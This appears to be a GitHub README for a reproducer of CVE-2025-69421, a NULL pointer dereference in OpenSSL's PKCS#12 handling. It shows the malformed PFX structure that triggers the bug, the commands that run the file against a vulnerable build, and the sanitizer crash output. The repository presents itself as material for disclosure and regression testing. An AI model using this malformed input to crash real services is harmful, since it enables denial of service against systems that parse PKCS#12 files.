kha-beleh/poc-cve-2025-69421Minimal CVE-2025-69421 reproducer demonstrating a NULL pointer dereference in OpenSSL PKCS#12 processing via a malformed PFX file with absent encryptedContent field. Includes generation script, ASN.1 inspection, and UBSan-triggered crash output for defensive regression testing.
This repository contains a minimal malformed PKCS#12 file that reproduces CVE-2025-69421 in an isolated laboratory environment.
The generated PFX contains EncryptedData whose EncryptedContentInfo omits
the optional encryptedContent field. Vulnerable OpenSSL versions can pass a
NULL ASN1_OCTET_STRING pointer from PKCS12_unpack_p7encdata() to
PKCS12_item_decrypt_d2i_ex(), which dereferences it without a NULL check.
This reproducer demonstrates a denial-of-service condition only. It does not perform code execution or disclose information.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Set the build directory before running the PoC:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD must contain the vulnerable libcrypto.so.3 and the matching
apps/openssl binary.
A pre-generated file is included. To recreate it:
python3 generate.py
The output is:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
The relevant structure is:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
Using the helper script:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
Equivalent manual command:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
The important indicators are:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
A fixed OpenSSL build should reject the malformed input without a sanitizer finding or process crash. The error may include:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
Use this reproducer only in systems you own or are explicitly authorized to test. The included artifact is intended for defensive validation and regression testing.